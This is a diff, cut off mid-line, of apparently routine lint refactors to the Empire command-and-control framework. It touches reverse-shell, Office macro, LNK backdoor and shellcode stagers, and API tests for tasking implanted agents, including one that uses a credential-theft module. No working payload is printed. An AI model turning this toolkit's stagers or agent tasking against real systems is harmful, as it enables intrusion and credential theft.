b/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py index 376b6f199..67cad05d0 100644 --- a/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py +++ b/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py @@ -2,7 +2,7 @@ import logging import socket -import empire.server.common.helpers as helpers +from empire.server.common import helpers from empire.server.common.plugins import Plugin from empire.server.core.plugin_service import PluginService @@ -214,8 +214,6 @@ def shutdown(self): self.reverseshell_proc.kill() self.thread.kill() - return - def client_handler(self, client_socket): self.thread = helpers.KThread(target=self.o, args=[client_socket]) self.thread.daemon = True diff --git a/empire/server/plugins/websockify_server/websockify_server.py b/empire/server/plugins/websockify_server/websockify_server.py index 78f9edeec..5b5c84f34 100644 --- a/empire/server/plugins/websockify_server/websockify_server.py +++ b/empire/server/plugins/websockify_server/websockify_server.py @@ -3,7 +3,7 @@ import websockify -import empire.server.common.helpers as helpers +from empire.server.common import helpers from empire.server.common.plugins import Plugin from empire.server.core.plugin_service import PluginService @@ -129,4 +129,3 @@ def do_websockify(self, command): def shutdown(self): with contextlib.suppress(Exception): self.websockify_proc.kill() - return diff --git a/empire/server/server.py b/empire/server/server.py index 76c4800b1..748717ba0 100755 --- a/empire/server/server.py +++ b/empire/server/server.py @@ -119,7 +119,7 @@ def shutdown_handler(signum, frame): log.info("Shutting down MainMenu...") main.shutdown() - exit(0) + sys.exit(0) signal.signal(signal.SIGINT, shutdown_handler) @@ -132,14 +132,14 @@ def check_submodules(): return result = subprocess.run( - ["git", "submodule", "status"], stdout=subprocess.PIPE, text=True + ["git", "submodule", "status"], stdout=subprocess.PIPE, text=True, check=False ) for line in result.stdout.splitlines(): if line[0] == "-": log.error( "Some git submodules are not initialized. Please run 'git submodule update --init --recursive'" ) - exit(1) + sys.exit(1) def fetch_submodules(): @@ -194,7 +194,7 @@ def run(args): else: base.startup_db() - global main + global main # noqa: PLW0603 # Calling run more than once, such as in the test suite # Will generate more instances of MainMenu, which then diff --git a/empire/server/stagers/multi/generate_agent.py b/empire/server/stagers/multi/generate_agent.py index 85b7be98a..d4dae0490 100755 --- a/empire/server/stagers/multi/generate_agent.py +++ b/empire/server/stagers/multi/generate_agent.py @@ -120,10 +120,9 @@ def generate(self): if launcher == "": log.error("[!] Error in launcher generation.") return "" - else: - if not launcher or launcher.lower() == "failed": - log.error("[!] Error in launcher command generation.") - return "" + elif not launcher or launcher.lower() == "failed": + log.error("[!] Error in launcher command generation.") + return "" if obfuscate_script: if language == "powershell": diff --git a/empire/server/stagers/multi/pyinstaller.py b/empire/server/stagers/multi/pyinstaller.py index 0d2c31036..a8e9452e1 100644 --- a/empire/server/stagers/multi/pyinstaller.py +++ b/empire/server/stagers/multi/pyinstaller.py @@ -134,15 +134,15 @@ def generate(self): imports_list = [] for code in [agent_code, comms_code, stager_code]: for line in code.splitlines(): - line = line.strip() - if line.startswith("from System"): + _line = line.strip() + if _line.startswith("from System"): # Skip Ironpython imports pass - elif line.startswith("import sslzliboff"): + elif _line.startswith("import sslzliboff"): # Sockschain checks to import this, so we will just skip it pass - elif line.startswith("import ") or line.startswith("from "): - imports_list.append(line) + elif _line.startswith("import ") or _line.startswith("from "): + imports_list.append(_line) imports_list.append("import trace") imports_list.append("import json") @@ -166,7 +166,8 @@ def generate(self): "/tmp/" + str(time.time()) + "-build/", "--onefile", binary_file_str + ".py", - ] + ], + check=False, ) with open(binary_file_str, "rb") as f: diff --git a/empire/server/stagers/windows/backdoorLnkMacro.py b/empire/server/stagers/windows/backdoorLnkMacro.py index 2b4348a6d..10088ee88 100755 --- a/empire/server/stagers/windows/backdoorLnkMacro.py +++ b/empire/server/stagers/windows/backdoorLnkMacro.py @@ -187,7 +187,7 @@ def generate(self): .replace(" ", "") .split("/") ) - if int(kill_date[2]) < 100: + if int(kill_date[2]) < 100: # noqa: PLR2004 kill_date[2] = int(kill_date[2]) + 2000 target_exe = target_exe.split(",") target_exe = [_f for _f in target_exe if _f] @@ -356,9 +356,7 @@ def generate(self): for i, _item in enumerate(target_exe): if i: macro += " or " - active_sheet.write( - input_row, input_col, target_exe[i].strip().lower() + "." - ) + active_sheet.write(input_row, input_col, _item.strip().lower() + ".") macro += ( "InStr(Lcase(" + lnk_var diff --git a/empire/server/stagers/windows/csharp_exe.py b/empire/server/stagers/windows/csharp_exe.py index a8b7616dd..66ecc22af 100755 --- a/empire/server/stagers/windows/csharp_exe.py +++ b/empire/server/stagers/windows/csharp_exe.py @@ -142,9 +142,8 @@ def generate(self): if launcher == "": return "[!] Error in launcher generation." - else: - if not launcher or launcher.lower() == "failed": - return "[!] Error in launcher command generation." + elif not launcher or launcher.lower() == "failed": + return "[!] Error in launcher command generation." if language.lower() == "powershell": directory = self.mainMenu.stagers.generate_powershell_exe( diff --git a/empire/server/stagers/windows/launcher_bat.py b/empire/server/stagers/windows/launcher_bat.py index 528808bf3..e11eac221 100644 --- a/empire/server/stagers/windows/launcher_bat.py +++ b/empire/server/stagers/windows/launcher_bat.py @@ -140,7 +140,8 @@ def generate(self): obfuscation_command=obfuscate_command, ) - if len(launcher) > 8192: + MAX_CHARACTERS = 8192 + if len(launcher) > MAX_CHARACTERS: log.error("[!] Error: launcher code is greater than 8192 characters.") return "" diff --git a/empire/server/stagers/windows/macro.py b/empire/server/stagers/windows/macro.py index ccead94e2..e03260ef9 100644 --- a/empire/server/stagers/windows/macro.py +++ b/empire/server/stagers/windows/macro.py @@ -145,11 +145,10 @@ def generate(self): macro_sub_name = "Workbook_Open()" else: macro_sub_name = "Workbook_BeforeClose(Cancel As Boolean)" + elif trigger.lower() == "autoopen": + macro_sub_name = "AutoOpen()" else: - if trigger.lower() == "autoopen": - macro_sub_name = "AutoOpen()" - else: - macro_sub_name = "AutoClose()" + macro_sub_name = "AutoClose()" encode = False if base64.lower() == "true": diff --git a/empire/server/stagers/windows/shellcode.py b/empire/server/stagers/windows/shellcode.py index 643fbc11b..5683e204e 100644 --- a/empire/server/stagers/windows/shellcode.py +++ b/empire/server/stagers/windows/shellcode.py @@ -142,9 +142,8 @@ def generate(self): ) if launcher == "": return "[!] Error in launcher generation." - else: - if not launcher or launcher.lower() == "failed": - return "[!] Error in launcher command generation." + elif not launcher or launcher.lower() == "failed": + return "[!] Error in launcher command generation." if language.lower() == "powershell": shellcode, err = self.mainMenu.stagers.generate_powershell_shellcode( diff --git a/empire/server/utils/listener_util.py b/empire/server/utils/listener_util.py index b9fec0bb9..653f7525a 100644 --- a/empire/server/utils/listener_util.py +++ b/empire/server/utils/listener_util.py @@ -12,10 +12,10 @@ def remove_lines_comments(lines): """ code = "" for line in lines.split("\n"): - line = line.strip() + _line = line.strip() # skip commented line - if not line.startswith("#"): - code += line + if not _line.startswith("#"): + code += _line return code diff --git a/empire/server/utils/option_util.py b/empire/server/utils/option_util.py index 14abc0d35..c1d3b7f0f 100644 --- a/empire/server/utils/option_util.py +++ b/empire/server/utils/option_util.py @@ -131,7 +131,7 @@ def get_file_options(db, download_service, options, params): return files, None -def _parse_type(type_str: str = "", value: str = ""): +def _parse_type(type_str: str = "", value: str = ""): # noqa: PLR0911 if not type_str: return type(value) diff --git a/empire/test/test_agent_api.py b/empire/test/test_agent_api.py index a151207b9..ffddc514a 100644 --- a/empire/test/test_agent_api.py +++ b/empire/test/test_agent_api.py @@ -1,6 +1,7 @@ from datetime import datetime, timedelta, timezone import pytest +from starlette import status @pytest.fixture(scope="module", autouse=True) @@ -153,42 +154,47 @@ def agent(db, models, main): def test_get_agent_not_found(client, admin_auth_header): response = client.get("/api/v2/agents/XYZ123", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id XYZ123" def test_get_agent(client, admin_auth_header): + expected_delay = 60 + expected_jitter = 0.1 response = client.get("/api/v2/agents/TEST123", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["session_id"] == "TEST123" - assert response.json()["delay"] == 60 - assert response.json()["jitter"] == 0.1 + assert response.json()["delay"] == expected_delay + assert response.json()["jitter"] == expected_jitter def test_get_agents(client, admin_auth_header): + expected_agents = 3 response = client.get("/api/v2/agents", headers=admin_auth_header) - assert response.status_code == 200 - assert len(response.json()["records"]) == 3 + assert response.status_code == status.HTTP_200_OK + assert len(response.json()["records"]) == expected_agents def test_get_agents_include_stale_false(client, admin_auth_header): + expected_agents = 2 response = client.get( "/api/v2/agents?include_stale=false", headers=admin_auth_header ) - assert response.status_code == 200 - assert len(response.json()["records"]) == 2 + assert response.status_code == status.HTTP_200_OK + assert len(response.json()["records"]) == expected_agents def test_get_agents_include_archived_true(client, admin_auth_header): + expected_agents = 4 response = client.get( "/api/v2/agents?include_archived=true", headers=admin_auth_header ) - assert response.status_code == 200 - assert len(response.json()["records"]) == 4 + assert response.status_code == status.HTTP_200_OK + assert len(response.json()["records"]) == expected_agents def test_update_agent_not_found(client, admin_auth_header): @@ -199,7 +205,7 @@ def test_update_agent_not_found(client, admin_auth_header): "/api/v2/agents/XYZ123", json=agent, headers=admin_auth_header ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id XYZ123" @@ -211,7 +217,7 @@ def test_update_agent_name_conflict(client, admin_auth_header): response = client.put( "/api/v2/agents/TEST123", json=agent, headers=admin_auth_header ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "Agent with name SECOND already exists." @@ -225,6 +231,6 @@ def test_update_agent(client, admin_auth_header): "/api/v2/agents/TEST123", json=agent, headers=admin_auth_header ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["name"] == "My New Agent Name" assert response.json()["notes"] == "The new notes!" diff --git a/empire/test/test_agent_checkins_api.py b/empire/test/test_agent_checkins_api.py index 4d21fdeda..19ae2c595 100644 --- a/empire/test/test_agent_checkins_api.py +++ b/empire/test/test_agent_checkins_api.py @@ -5,6 +5,7 @@ from datetime import datetime, timedelta, timezone import pytest +from starlette import status log = logging.getLogger(__name__) @@ -118,7 +119,7 @@ def test_database_performance_checkins(models, host, agents, session_local): query = db.query(models.AgentCheckIn).limit(50000) query.all() log.info(f"Time to query {checkins} checkins: {t():0.4f} seconds") - assert t() < 6 + assert t() < 6 # noqa: PLR2004 agents = db.query(models.Agent).all() @@ -135,7 +136,7 @@ def test_database_performance_checkins(models, host, agents, session_local): def test_get_agent_checkins_agent_not_found(client, admin_auth_header): response = client.get("/api/v2/agents/XYZ123/checkins", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id XYZ123" @@ -149,8 +150,9 @@ def test_get_agent_checkins_with_limit_and_page( f"/api/v2/agents/{agent}/checkins?limit=10&page=1", headers=admin_auth_header ) - assert response.status_code == 200 - assert len(response.json()["records"]) == 10 + checkin_count = 10 + assert response.status_code == status.HTTP_200_OK + assert len(response.json()["records"]) == checkin_count assert response.json()["total"] > days_back * 17280 assert response.json()["page"] == 1 @@ -160,10 +162,12 @@ def test_get_agent_checkins_with_limit_and_page( f"/api/v2/agents/{agent}/checkins?limit=10&page=2", headers=admin_auth_header ) - assert response.status_code == 200 - assert len(response.json()["records"]) == 10 + checkin_count = 10 + page_count = 2 + assert response.status_code == status.HTTP_200_OK + assert len(response.json()["records"]) == checkin_count assert response.json()["total"] > days_back * 17280 - assert response.json()["page"] == 2 + assert response.json()["page"] == page_count page2 = response.json()["records"] @@ -183,7 +187,7 @@ def test_get_agent_checkins_multiple_agents( params={"agents": with_checkins[:2], "limit": 400000}, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) == days_back * 17280 * 2 assert {r["agent_id"] for r in response.json()["records"]} == set(with_checkins[:2]) @@ -202,8 +206,8 @@ def test_agent_checkins_aggregate( headers=admin_auth_header, ) - assert response.status_code == 200 - assert response.elapsed.total_seconds() < 5 + assert response.status_code == status.HTTP_200_OK + assert response.elapsed.total_seconds() < 5 # noqa: PLR2004 assert response.json()["bucket_size"] == "day" assert response.json()["records"][1]["count"] == 17280 * 3 @@ -213,8 +217,8 @@ def test_agent_checkins_aggregate( params={"bucket_size": "hour"}, ) - assert response.status_code == 200 - assert response.elapsed.total_seconds() < 5 + assert response.status_code == status.HTTP_200_OK + assert response.elapsed.total_seconds() < 5 # noqa: PLR2004 assert response.json()["bucket_size"] == "hour" assert response.json()["records"][1]["count"] == 720 * 3 @@ -224,8 +228,8 @@ def test_agent_checkins_aggregate( params={"bucket_size": "minute"}, ) - assert response.status_code == 200 - assert response.elapsed.total_seconds() < 5 + assert response.status_code == status.HTTP_200_OK + assert response.elapsed.total_seconds() < 5 # noqa: PLR2004 assert response.json()["bucket_size"] == "minute" assert response.json()["records"][1]["count"] == 12 * 3 @@ -239,8 +243,8 @@ def test_agent_checkins_aggregate( }, ) - assert response.status_code == 200 - assert response.elapsed.total_seconds() < 5 + assert response.status_code == status.HTTP_200_OK + assert response.elapsed.total_seconds() < 5 # noqa: PLR2004 assert response.json()["bucket_size"] == "second" assert response.json()["records"][1]["count"] == 1 * 3 @@ -251,7 +255,7 @@ def test_agent_checkins_aggregate( params={"bucket_size": "hour", "start_date": start_time + timedelta(days=3)}, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["bucket_size"] == "hour" checkin_time_string = response.json()["records"][0]["checkin_time"] checkin_time = datetime.strptime(checkin_time_string, "%Y-%m-%dT%H:%M:%S%z") @@ -263,7 +267,7 @@ def test_agent_checkins_aggregate( params={"bucket_size": "hour", "end_date": start_time + timedelta(days=3)}, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["bucket_size"] == "hour" checkin_time_string = response.json()["records"][-1]["checkin_time"] checkin_time = datetime.strptime(checkin_time_string, "%Y-%m-%dT%H:%M:%S%z") @@ -279,7 +283,7 @@ def test_agent_checkins_aggregate( params={"bucket_size": "hour", "start_date": with_tz}, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["bucket_size"] == "hour" checkin_time_string = response.json()["records"][0]["checkin_time"] checkin_time = datetime.strptime(checkin_time_string, "%Y-%m-%dT%H:%M:%S%z") diff --git a/empire/test/test_agent_file_api.py b/empire/test/test_agent_file_api.py index d093a0512..d94296e95 100644 --- a/empire/test/test_agent_file_api.py +++ b/empire/test/test_agent_file_api.py @@ -1,4 +1,5 @@ import pytest +from starlette import status @pytest.fixture(scope="function") @@ -96,7 +97,7 @@ def files(session_local, models, agent): def test_get_root_agent_not_found(client, admin_auth_header): response = client.get("/api/v2/agents/abc/files/root", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -105,7 +106,7 @@ def test_get_root_not_found(client, admin_auth_header, agent_no_files): f"/api/v2/agents/{agent_no_files}/files/root", headers=admin_auth_header, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert ( response.json()["detail"] == f'File not found for agent {agent_no_files} and file path "/"' @@ -113,20 +114,21 @@ def test_get_root_not_found(client, admin_auth_header, agent_no_files): def test_get_root(client, admin_auth_header, agent): + expected_children = 2 response = client.get( f"/api/v2/agents/{agent}/files/root", headers=admin_auth_header ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["name"] == "/" assert response.json()["path"] == "/" assert response.json()["is_file"] is False assert response.json()["parent_id"] is None - assert len(response.json()["children"]) == 2 + assert len(response.json()["children"]) == expected_children def test_get_file_agent_not_found(client, admin_auth_header): response = client.get("/api/v2/agents/abc/files/root", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -134,7 +136,7 @@ def test_get_file_not_found(client, admin_auth_header, agent): response = client.get( f"/api/v2/agents/{agent}/files/9999", headers=admin_auth_header ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert ( response.json()["detail"] == f"File not found for agent {agent} and file id 9999" @@ -142,16 +144,17 @@ def test_get_file_not_found(client, admin_auth_header, agent): def test_get_file_with_children(client, admin_auth_header, agent, files): + expected_children = 2 response = client.get( f"/api/v2/agents/{agent}/files/{files[1]}", headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["name"] == "C:\\" assert response.json()["path"] == "/C:\\" assert response.json()["is_file"] is False assert response.json()["parent_id"] == files[0] - assert len(response.json()["children"]) == 2 + assert len(response.json()["children"]) == expected_children def test_get_file_no_children(client, admin_auth_header, agent, files): @@ -159,7 +162,7 @@ def test_get_file_no_children(client, admin_auth_header, agent, files): f"/api/v2/agents/{agent}/files/{files[3]}", headers=admin_auth_header, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["name"] == "photo.png" assert response.json()["path"] == "/C:\\photo.png" assert response.json()["is_file"] is True diff --git a/empire/test/test_agent_task_api.py b/empire/test/test_agent_task_api.py index 0cf9908cb..7ec8976c2 100644 --- a/empire/test/test_agent_task_api.py +++ b/empire/test/test_agent_task_api.py @@ -4,6 +4,7 @@ from types import SimpleNamespace import pytest +from starlette import status from empire.server.core.exceptions import ( ModuleExecutionException, @@ -270,7 +271,7 @@ def test_create_task_shell_agent_not_found(client, admin_auth_header): headers=admin_auth_header, json={"command": 'echo "HELLO WORLD"'}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -280,7 +281,7 @@ def test_create_task_shell(client, admin_auth_header, agent): headers=admin_auth_header, json={"command": 'echo "HELLO WORLD"'}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["input"] == 'echo "HELLO WORLD"' assert response.json()["id"] > 0 @@ -292,7 +293,7 @@ def test_create_task_module_agent_not_found(client, admin_auth_header): json={"module_id": "some_module", "options": {}}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -303,7 +304,7 @@ def test_create_task_module_not_found(client, admin_auth_header, agent): json={"module_id": "some_module", "options": {}}, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "Module not found for id some_module" @@ -323,7 +324,7 @@ def test_create_task_module(client, admin_auth_header, agent): }, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 assert response.json()["input"].startswith("function Invoke-InternalMonologue") assert response.json()["agent_id"] == agent @@ -354,7 +355,7 @@ def test_create_task_module_modified_input(client, admin_auth_header, agent): }, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 assert response.json()["input"].startswith(modified_input) assert response.json()["agent_id"] == agent @@ -377,7 +378,7 @@ def test_create_task_bof_module_disabled_csharpserver( }, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "csharpserver plugin not running" @@ -395,7 +396,7 @@ def test_create_task_module_with_file_option_not_found( }, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "File not found for 'File' id 999" @@ -413,7 +414,7 @@ def test_create_task_module_with_file_option( }, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 @@ -433,7 +434,7 @@ def test_create_task_module_validates_required_options( }, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "required option missing: MsgText" @@ -449,7 +450,7 @@ def test_create_task_module_validates_options_strict(client, admin_auth_header, }, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == "OutputFunction must be set to one of the suggested values." @@ -472,7 +473,7 @@ def test_create_task_module_language_version_check( }, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == "module requires language version 2 but agent running language version 1" @@ -496,7 +497,7 @@ def test_create_task_module_ignore_language_version_check( }, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 @@ -510,7 +511,7 @@ def test_create_task_module_admin_check(client, admin_auth_header, agent_low_int }, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "module needs to run in an elevated context" @@ -527,7 +528,7 @@ def test_create_task_module_ignore_admin_check( }, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 @@ -544,7 +545,7 @@ def test_create_task_module_validation_exception( }, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert ( response.json()["detail"] == "this_module_uses_legacy_handle_error_message: this is the error" @@ -564,7 +565,7 @@ def test_create_task_module_execution_exception( }, ) - assert response.status_code == 500 + assert response.status_code == status.HTTP_500_INTERNAL_SERVER_ERROR assert response.json()["detail"] == "this_module_has_an_execution_exception" @@ -581,7 +582,7 @@ def test_create_task_handle_error_message( }, ) - assert response.status_code == 500 + assert response.status_code == status.HTTP_500_INTERNAL_SERVER_ERROR assert response.json()["detail"] == "this_module_has_an_execution_exception" @@ -595,7 +596,7 @@ def test_create_task_upload_file_not_found(client, admin_auth_header, agent): }, ) - assert response.status_code == 400 + assert response.status_code == status.HTTP_400_BAD_REQUEST assert response.json()["detail"] == "Download not found for id 9999" @@ -609,7 +610,7 @@ def test_create_task_upload_agent_not_found(client, admin_auth_header, agent): }, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -623,7 +624,7 @@ def test_create_task_upload(client, admin_auth_header, agent, download): }, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 assert response.json()["input"].startswith("/tmp") @@ -635,7 +636,7 @@ def test_create_task_download_agent_not_found(client, admin_auth_header): json={"path_to_file": "/tmp/downloadme.zip"}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -646,7 +647,7 @@ def test_create_task_download(client, admin_auth_header, agent): json={"path_to_file": "/tmp/downloadme.zip"}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 @@ -657,7 +658,7 @@ def test_create_socks_agent_not_found(client, admin_auth_header, agent): json={}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND def test_create_task_socks(client, admin_auth_header, agent): @@ -667,7 +668,7 @@ def test_create_task_socks(client, admin_auth_header, agent): json={"port": 1080}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 @@ -678,7 +679,7 @@ def test_create_task_jobs_agent_not_found(client, admin_auth_header, agent): json={}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -689,7 +690,7 @@ def test_create_task_jobs(client, admin_auth_header, agent): json={}, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK def test_kill_task_jobs(client, admin_auth_header, agent): @@ -699,7 +700,7 @@ def test_kill_task_jobs(client, admin_auth_header, agent): json={"id": 0}, ) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK def test_kill_task_jobs_agent_not_found(client, admin_auth_header, agent): @@ -709,7 +710,7 @@ def test_kill_task_jobs_agent_not_found(client, admin_auth_header, agent): json={"id": 0}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -726,7 +727,7 @@ def test_create_task_script_import_agent_not_found(client, admin_auth_header, ag }, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -743,7 +744,7 @@ def test_create_task_script_import(client, admin_auth_header, agent): }, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 @@ -754,7 +755,7 @@ def test_create_task_script_command_agent_not_found(client, admin_auth_header): json={"command": "run command"}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -765,7 +766,7 @@ def test_create_task_script_command(client, admin_auth_header, agent): json={"command": "run command"}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 assert response.json()["input"] == "run command" @@ -775,7 +776,7 @@ def test_create_task_sysinfo_agent_not_found(client, admin_auth_header): "/api/v2/agents/abc/tasks/sysinfo", headers=admin_auth_header ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -786,7 +787,7 @@ def test_create_task_sysinfo(client, admin_auth_header, agent): json={}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 @@ -797,7 +798,7 @@ def test_create_task_update_comms_agent_not_found(client, admin_auth_header, lis json={"new_listener_id": listener["id"]}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -808,7 +809,7 @@ def test_create_task_update_comms(client, admin_auth_header, agent, listener): json={"new_listener_id": listener["id"]}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 @@ -819,7 +820,7 @@ def test_create_task_update_sleep_agent_not_found(client, admin_auth_header, lis json={"new_listener_id": listener["id"]}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -830,7 +831,7 @@ def test_create_task_update_sleep_validates_fields(client, admin_auth_header, ag json={"delay": -1, "jitter": 5}, ) - assert response.status_code == 422 + assert response.status_code == status.HTTP_422_UNPROCESSABLE_ENTITY delay_err = next(filter(lambda x: "delay" in x["loc"], response.json()["detail"])) jitter_err = next(filter(lambda x: "jitter" in x["loc"], response.json()["detail"])) @@ -847,7 +848,7 @@ def test_create_task_update_sleep(client, admin_auth_header, agent): json={"delay": 30, "jitter": 0.5}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 @@ -858,7 +859,7 @@ def test_create_task_update_kill_date_agent_not_found(client, admin_auth_header) json={"kill_date": "2021-05-06T00:00Z"}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -869,7 +870,7 @@ def test_create_task_update_kill_date(client, admin_auth_header, agent): json={"kill_date": "2021-05-06T00:00Z"}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 @@ -880,7 +881,7 @@ def test_create_task_update_working_hours_agent_not_found(client, admin_auth_hea json={"working_hours": "05:00-12:00"}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -891,7 +892,7 @@ def test_create_task_update_working_hours(client, admin_auth_header, agent): json={"working_hours": "05:00-12:00"}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 @@ -902,7 +903,7 @@ def test_create_task_directory_list_agent_not_found(client, admin_auth_header): json={"path": "/"}, ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -913,7 +914,7 @@ def test_create_task_directory_list(client, admin_auth_header, agent): json={"path": "/"}, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 @@ -939,31 +940,31 @@ def test_create_task_proxy_list(client, admin_auth_header, agent): json=proxy_body, ) - assert response.status_code == 201 + assert response.status_code == status.HTTP_201_CREATED assert response.json()["id"] > 0 response = client.get(f"/api/v2/agents/{agent}", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert response.json()["proxies"] == proxy_body def test_create_task_exit_agent_not_found(client, admin_auth_header): response = client.post("/api/v2/agents/abc/tasks/exit", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" def test_get_tasks_for_agent_agent_not_found(client, admin_auth_header): response = client.get("/api/v2/agents/abc/tasks", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" def test_get_tasks_for_agent(client, admin_auth_header, agent, agent_task): response = client.get(f"/api/v2/agents/{agent}/tasks", headers=admin_auth_header) - assert response.status_code == 200 + assert response.status_code == status.HTTP_200_OK assert len(response.json()["records"]) > 0 assert ( len( @@ -980,7 +981,7 @@ def test_get_tasks_for_agent(client, admin_auth_header, agent, agent_task): def test_get_task_for_agent_agent_not_found(client, admin_auth_header, agent): response = client.get("/api/v2/agents/abc/tasks/1", headers=admin_auth_header) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert response.json()["detail"] == "Agent not found for id abc" @@ -988,7 +989,7 @@ def test_get_task_for_agent_not_found(client, admin_auth_header, agent): response = client.get( f"/api/v2/agents/{agent}/tasks/9999", headers=admin_auth_header ) - assert response.status_code == 404 + assert response.status_code == status.HTTP_404_NOT_FOUND assert ( response.json()["detail"] == f"Task not found for agent {agent} and task id 9999" @@ -997,7 +998,7 @@ def 